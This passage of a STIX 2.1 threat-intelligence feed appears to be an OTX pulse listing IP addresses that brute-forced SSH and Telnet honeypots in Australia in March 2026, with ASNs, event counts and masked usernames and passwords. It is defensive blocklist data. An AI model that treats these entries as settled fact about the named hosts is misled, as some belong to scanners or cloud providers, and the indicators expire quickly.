      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T00:15:17.000Z",
      "valid_until": "2026-04-23T00:15:12.000Z"
    },
    {
      "created": "2026-03-22T00:15:17.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--4efc883e-a6fc-4626-839b-eb0ea5c033b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T00:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T00:15:17.000Z",
      "valid_until": "2026-04-23T00:15:12.000Z"
    },
    {
      "created": "2026-03-22T01:15:36.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--78537b05-960a-451d-86e4-b27fb9ec4f08",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T01:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '113.228.158.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T01:15:36.000Z",
      "valid_until": "2026-04-23T01:15:11.000Z"
    },
    {
      "created": "2026-03-22T01:15:36.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--d4d4cfdb-4070-440a-8993-7c6a2cab133f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T01:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '18.234.210.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T01:15:36.000Z",
      "valid_until": "2026-04-23T01:15:11.000Z"
    },
    {
      "created": "2026-03-22T01:15:36.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 196. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 265688. Organisation(s): SINERGY SOLUCIONES INTEGRALES. Usernames observed (masked): 3**********4, m****h, r***n, r**t, a***a. Passwords observed (masked): ***, 3***********4, 3**********4, 1**4, 1***5.",
      "id": "indicator--63ff9b10-a006-4e83-af5c-f83f6ae4a525",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T01:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '181.174.231.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T01:15:36.000Z",
      "valid_until": "2026-04-23T01:15:11.000Z"
    },
    {
      "created": "2026-03-22T01:15:36.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 144. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 28191. Organisation(s): Jupiter Telecomunicacoes e Informatica Ltda. Usernames observed (masked): **, 3**********4, a****w, c*****e, g**d. Passwords observed (masked): 1***5, 1****6, 1******8, 3***********4, 3**********4.",
      "id": "indicator--3551b4d4-17e9-488a-9564-46b4b8309b4f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T01:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '189.90.36.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T01:15:36.000Z",
      "valid_until": "2026-04-23T01:15:11.000Z"
    },
    {
      "created": "2026-03-22T01:15:36.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): m****h, r**t, 3**********4, a***a, l*******w. Passwords observed (masked): ***, 1***5, 1**4, 3***********4, 3**********4.",
      "id": "indicator--87e225a0-92b5-45d5-9ec6-2fabdab82aa2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T01:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.112.78.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T01:15:36.000Z",
      "valid_until": "2026-04-23T01:15:11.000Z"
    },
    {
      "created": "2026-03-22T01:15:36.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: UA. ASN(s): 35680. Organisation(s): Volia-Cable LLC.",
      "id": "indicator--cecf81cc-3924-4d8d-a7db-ef9c055a0907",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T01:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.120.123.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T01:15:36.000Z",
      "valid_until": "2026-04-23T01:15:11.000Z"
    },
    {
      "created": "2026-03-22T02:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 149148. Organisation(s): Phu Hai Computer Co., Ltd. Usernames observed (masked): r**t. Passwords observed (masked): a***n.",
      "id": "indicator--33f0e01d-23a6-4db7-ac6d-402a1f09c0b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.38.236.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T02:15:14.000Z",
      "valid_until": "2026-04-23T02:15:11.000Z"
    },
    {
      "created": "2026-03-22T02:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--390207de-0ff5-416e-83ac-728cb032613c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.219.197.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T02:15:14.000Z",
      "valid_until": "2026-04-23T02:15:11.000Z"
    },
    {
      "created": "2026-03-22T03:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4812. Organisation(s): China Telecom Group.",
      "id": "indicator--a5811214-16e1-4a7b-9fb1-6788d2f5ca78",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T03:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '218.81.81.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T03:15:15.000Z",
      "valid_until": "2026-04-23T03:15:11.000Z"
    },
    {
      "created": "2026-03-22T03:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--0255afae-6178-412d-b922-abe5341f4ca1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T03:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.128.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T03:15:15.000Z",
      "valid_until": "2026-04-23T03:15:11.000Z"
    },
    {
      "created": "2026-03-22T04:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--f82d0366-6222-414a-8ec2-3651bebbb515",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '110.141.215.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T04:15:14.000Z",
      "valid_until": "2026-04-23T04:15:12.000Z"
    },
    {
      "created": "2026-03-22T04:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 146. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): a***n, r**t, s*****t, 1**4, ***. Passwords observed (masked): 1**4, a***n, 0**************D, 3******t, P******d.",
      "id": "indicator--9ab72231-8be9-4d03-81a4-59a759f67bc6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.110.21.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T04:15:14.000Z",
      "valid_until": "2026-04-23T04:15:12.000Z"
    },
    {
      "created": "2026-03-22T04:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 579. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, ***, t**t, u**r. Passwords observed (masked): 1****6, p******d, 1***5, a***n, 1**4.",
      "id": "indicator--b703adfc-9800-43a3-a19d-59c1348bc895",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.110.212.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T04:15:14.000Z",
      "valid_until": "2026-04-23T04:15:12.000Z"
    },
    {
      "created": "2026-03-22T04:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 340. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, d*******r, ***, a**o. Passwords observed (masked): 0**************D, *, ***, 1**4, 1****6.",
      "id": "indicator--7b74b1b0-b2fd-4d9d-a2fa-76da278fa9f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.110.22.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T04:15:14.000Z",
      "valid_until": "2026-04-23T04:15:12.000Z"
    },
    {
      "created": "2026-03-22T05:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--9d5762a8-6e77-4a30-bf44-b21eeec3661c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T05:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.242.155.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T05:15:16.000Z",
      "valid_until": "2026-04-23T05:15:13.000Z"
    },
    {
      "created": "2026-03-22T06:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 136907. Organisation(s): HUAWEI CLOUDS. Usernames observed (masked): a***n, o******i, r**t. Passwords observed (masked): *, a***n, o******i.",
      "id": "indicator--22131094-eb6a-4254-9ad8-2857866e7e43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T06:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '111.119.220.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T06:15:13.000Z",
      "valid_until": "2026-04-23T06:15:11.000Z"
    },
    {
      "created": "2026-03-22T06:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--1293f416-eeef-444c-9124-74e79d1b9f08",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T06:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.133.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T06:15:13.000Z",
      "valid_until": "2026-04-23T06:15:11.000Z"
    },
    {
      "created": "2026-03-22T06:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--c143bc7e-95dc-4dfd-abba-2312b16e6f7c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T06:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.135.161.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T06:15:13.000Z",
      "valid_until": "2026-04-23T06:15:11.000Z"
    },
    {
      "created": "2026-03-22T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 151487. Organisation(s): Awesomecloud Limited. Usernames observed (masked): k*****e, 3**********4, r**t, s******e, **. Passwords observed (masked): 1******8, 3***********4, 3**********4, S*********3, W****!.",
      "id": "indicator--35faddfe-281d-4eef-b06e-21b68ad5e65a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.160.100.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T07:15:14.000Z",
      "valid_until": "2026-04-23T07:15:11.000Z"
    },
    {
      "created": "2026-03-22T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r***1, 3**********4, a*****d, p****r, r**t. Passwords observed (masked): 1****6, 3***********4, 3**********4, A*******3, P******d.",
      "id": "indicator--f483b62a-0579-42f9-bdf2-92fea356f597",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.111.2.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T07:15:14.000Z",
      "valid_until": "2026-04-23T07:15:11.000Z"
    },
    {
      "created": "2026-03-22T07:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9231. Organisation(s): China Mobile Hong Kong Company Limited.",
      "id": "indicator--130f39ea-6b5a-4830-b6ea-af629832b817",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '123.136.7.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T07:15:14.000Z",
      "valid_until": "2026-04-23T07:15:11.000Z"
    },
    {
      "created": "2026-03-22T08:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--fda7f07b-c8d1-4e40-92f7-f738cedcc804",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T08:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.135.43.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T08:15:14.000Z",
      "valid_until": "2026-04-23T08:15:12.000Z"
    },
    {
      "created": "2026-03-22T08:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--57c0dcda-841a-4652-a63e-cc078a866443",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T08:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.135.44.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T08:15:14.000Z",
      "valid_until": "2026-04-23T08:15:12.000Z"
    },
    {
      "created": "2026-03-22T08:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 351. Sensors involved: Heralding. Target ports: 1080. Source country: DE. ASN(s): 197540. Organisation(s): netcup GmbH. Usernames observed (masked): a***n, r**t, u**r, ***, 1****6. Passwords observed (masked): ***, 1****6, 1**4, *, 1***5.",
      "id": "indicator--e6296516-6e0a-4d50-ad55-9b084032adee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T08:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.195.30.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T08:15:14.000Z",
      "valid_until": "2026-04-23T08:15:12.000Z"
    },
    {
      "created": "2026-03-22T08:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--e89fb513-5dc1-4fe3-9f3a-045d31d3ace3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T08:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.255.33.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T08:15:14.000Z",
      "valid_until": "2026-04-23T08:15:12.000Z"
    },
    {
      "created": "2026-03-22T08:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--61854f01-6bfb-4d3b-a971-b2b6d4bb82b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T08:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.194.70.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T08:15:14.000Z",
      "valid_until": "2026-04-23T08:15:12.000Z"
    },
    {
      "created": "2026-03-22T09:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): b**t, 3**********4, d****y, **, m******n. Passwords observed (masked): ***, 1****6, 3***********4, 3**********4, h********d.",
      "id": "indicator--d3d32c89-aead-4249-a4bd-8675a801ded3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.183.74.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T09:15:14.000Z",
      "valid_until": "2026-04-23T09:15:11.000Z"
    },
    {
      "created": "2026-03-22T09:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 136565. Organisation(s): CyberWorld. Usernames observed (masked): g*****l, 3**********4, a***********r, a***e, a***l. Passwords observed (masked): 1**4, 1***5, 1****6, 3***********4, 3**********4.",
      "id": "indicator--97185b13-171e-4fb5-9a8b-41f941cedd8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.20.122.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T09:15:14.000Z",
      "valid_until": "2026-04-23T09:15:11.000Z"
    },
    {
      "created": "2026-03-22T09:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud. Usernames observed (masked): A*******************p, G************1, U****************************************************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--d2c77195-fa0f-4fdd-9291-9dd382781f0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.79.128.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T09:15:14.000Z",
      "valid_until": "2026-04-23T09:15:11.000Z"
    },
    {
      "created": "2026-03-22T09:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17813. Organisation(s): Mahanagar Telephone Nigam Limited.",
      "id": "indicator--ca03089c-18dc-45d4-9e3d-172096de54b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.180.189.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T09:15:14.000Z",
      "valid_until": "2026-04-23T09:15:11.000Z"
    },
    {
      "created": "2026-03-22T09:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--b88d2430-ac7a-401f-87ae-839ade1f0a92",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.153.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T09:15:14.000Z",
      "valid_until": "2026-04-23T09:15:11.000Z"
    },
    {
      "created": "2026-03-22T09:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--eab22baf-64e5-410d-96d8-4365c110f5fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '78.188.28.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T09:15:14.000Z",
      "valid_until": "2026-04-23T09:15:11.000Z"
    },
    {
      "created": "2026-03-22T10:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 149137. Organisation(s): TAN THANH AN INTERNATIONAL TRADE DEVELOPMENT COMPANY LIMITED.",
      "id": "indicator--757845c4-5683-43b9-9153-36fd372192cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.131.85.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T10:15:14.000Z",
      "valid_until": "2026-04-23T10:15:11.000Z"
    },
    {
      "created": "2026-03-22T10:15:14.000Z",
